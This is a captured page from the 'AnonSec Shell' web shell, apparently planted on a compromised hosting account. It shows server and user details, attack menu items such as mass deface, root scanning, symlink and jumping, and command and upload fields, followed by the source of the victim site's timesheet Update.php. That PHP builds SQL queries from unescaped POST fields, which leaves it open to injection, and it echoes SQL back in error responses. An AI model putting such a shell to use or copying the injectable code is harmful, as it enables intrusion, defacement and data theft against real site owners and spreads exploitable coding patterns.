AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/TimeSheet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/TimeSheet/Update.php
<?php
$ck='not';
include("../include/checkLogin.php");
include("../include/class.php");
include("../include/table_name.php");
$date_year = date("Y");
$date_month = date("m");
/*
echo json_encode($_POST, JSON_UNESCAPED_UNICODE);
exit();
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
echo "<pre>";
print_r($_FILES['File']);
echo "</pre>";
*/

$userId = @$_POST["userId"];
if($userId == ""){
  $response = array(
    'Message' => 'Error UserId',
  );
  echo json_encode($response, JSON_UNESCAPED_UNICODE);
  exit();
}else{


    $timesheetdate = $util_class->date_chang_1_2($_POST["TaskDate"]);//in:07/06/2023  //out: 2023-06-07
    $timesheetdate2 = $util_class->date_chang_1($_POST["TaskDate"]);//in:07/06/2023  //out: 2023-06-07 05:24:40
    $TaskDescription = str_replace("'", "’", @$_POST["TaskDescription"]);
    if(@$_POST["CaseNumber"]!=''){
      $sql_casenumber = array('table'=>'ct_case','where'=>"CaseNumber = '".$_POST['CaseNumber']."'");
      $view_casenumber = $view_db->view($sql_casenumber);
      $result_casenumber = $view_db->q_re($view_casenumber);
      $num_casenumber = $view_db->q_nr($result_casenumber);

      if(@$num_casenumber == 0){
        $response = array(
          'Message' => 'CaseNumber is incorrect.',
          'sql_view_casenumber' => $view_casenumber,
        );
        echo json_encode($response, JSON_UNESCAPED_UNICODE);
        exit();
      }

      $sql_ctCase = array('table'=>'ct_case','where'=>"CaseNumber = '".$_POST['CaseNumber']."'");
      $view_ctCase = $view_db->view($sql_ctCase);
      $result_ctCase = $view_db->q_re($view_ctCase);
      $num_ctCase = $view_db->q_nr($result_ctCase);


      if($num_ctCase>0){
        $row_ctCase = $view_db->q($view_ctCase);
        $caseId = $row_ctCase['CaseId'];
        $customerId = $row_ctCase['CustomerId'];

        $sql_customer = array('table'=>'t_names_mas','where'=>"NamesId = '".$row_ctCase['CustomerId']."'");
        $view_customer = $view_db->view($sql_customer);
        $row_customer = $view_db->q($view_customer);

        $customerCode = $row_customer['NamesCode'];
        $customerName = $customerCode." ".$row_customer['NamesName'];
      }
    }elseif(@$_POST["CustomerCode"] != '') {

      $sql_nameMas = array('table'=>'t_names_mas','where'=>"NamesCode = '".$_POST['CustomerCode']."'");
      $view_nameMas = $view_db->view($sql_nameMas);
      $result_nameMas = $view_db->q_re($view_nameMas);
      $num_nameMas = $view_db->q_nr($result_nameMas);


      if(@$num_nameMas < 1){
        $response = array(
          'Message' => 'CustomerCode is incorrect.',
        );
        //echo json_encode($response, JSON_UNESCAPED_UNICODE);

      }
      $sql_customer = array('table'=>'t_names_mas','where'=>"NamesCode = '".$_POST['CustomerCode']."'");
      $view_customer = $view_db->view($sql_customer);
      $row_customer = $view_db->q($view_customer);
      $customerId = $row_customer['NamesId'];
      $customerCode = $row_customer['NamesCode'];
      $customerName = $customerCode." ".$row_customer['NamesName'];

    }

    if(@$_POST["CategoryId"] != ''){
      $sql_cate = array('table'=>'ct_category_timesheet','where'=>"CategoryId = '".$_POST['CategoryId']."'");
      $view_cate = $view_db->view($sql_cate);
      $result_cate = $view_db->q_re($view_cate);
      $num_cate = $view_db->q_nr($result_cate);
  
      if(@$num_cate < 1){
        $response = array(
          'Message' => 'Category is incorrect.',
        );
        //echo json_encode($response, JSON_UNESCAPED_UNICODE);
  
      }
      if($num_cate>0){
        $row_cate = $view_db->q($view_cate);
        $categoryId = $row_cate['CategoryId'];
      }
    }
    


    if(@$_POST["CaseTimeSheetId"] == "0"){
      $list = array(
        'table'=>$name_table9,
        'TaskDate'=>"'".@$timesheetdate."'",
        'TaskDescription'=>"'".@$TaskDescription."'",
        'Duration'=>"'".@$_POST["Duration"]."'",
        'CaseId'=>"'".@$caseId."'",
        'CategoryId'=>"'".@$categoryId."'",
        'CreateBy'=>"'".@$userId."'",
        'CreateDateTime'=>"'".@$date."'",
        'UpdateBy'=>"'".@$userId."'",
        'UpdateDateTime'=>"'".@$date."'"
      );

      $data = $actiondata_db->add_db($list);



      $sql_caseTimeSheetId = array('table'=>$name_table9,'count'=>'MAX(CaseTimeSheetId) AS caseTimeSheetId');
      $view_caseTimeSheetId = $view_db->view($sql_caseTimeSheetId);
      $row_caseTimeSheetId = $view_db->q($view_caseTimeSheetId);
      $caseTimeSheetId = $row_caseTimeSheetId['caseTimeSheetId'];

    }else{
      $caseTimeSheetId = @$_POST["CaseTimeSheetId"];

      $list = array(
        'table'=>$name_table9,
        'CaseTimeSheetId'=>@$caseTimeSheetId,
        'CaseId'=>@$caseId,
        'CategoryId'=>@$categoryId,
        'TaskDate'=>@$timesheetdate,
        'TaskDescription'=>@$TaskDescription ,
        'Duration'=>@$_POST["Duration"],
        'UpdateBy'=>@$userId,
        'UpdateDateTime'=>@$date
      );
      $data = $actiondata_db->edit_db($list);

    }

    $list = array(
      'table'=>$name_table28,
      'TimeSheetId'=>@$_POST["TimeSheetId"],
      'TaskDate'=>@$timesheetdate2,
      'TaskDescription'=>@$TaskDescription ,
      'Duration'=>@$_POST["Duration"],
      'CaseId'=>@$caseId,
      'CategoryId'=>@$categoryId,
      'CaseTimeSheetId'=>@$caseTimeSheetId,
      'CustomerId'=>@$customerId,
      'UpdateBy'=>@$userId,
      'UpdateDateTime'=>@$date
    );
    $data = $actiondata_db->edit_db($list);


    if($data['suc']==1){
      if(@$categoryId!=''){
        $sql_cate = array('table'=>'ct_category_timesheet','where'=>"CategoryId = '".$categoryId."'");
        $view_cate = $view_db->view($sql_cate);
        $row_cate = $view_db->q($view_cate);
        $categoryName = @$row_cate['CategoryName'];
      }

      $response = array(
        'Message' => 'success',
        'Id' => $TimeSheetId,
        'CaseNumber' => @$_POST['CaseNumber'],
        'CustomerID' => @$customerId,
        'CustomerCode' => @$customerCode,
        'CustomerName' => @$customerName,
        'CategoryId' => @$categoryId,
        'Category' => @$categoryName,
        'TaskDate' => @$timesheetdate,
        'data1' => @$data,
        'data2' => @$data2,
      );
      echo json_encode($response, JSON_UNESCAPED_UNICODE);
      exit();
    }else{
      $response = array(
        'Message' => 'false',
      );
      echo json_encode($response, JSON_UNESCAPED_UNICODE);
      exit();
    }

}
?>

Anon7 - 2022
AnonSec Team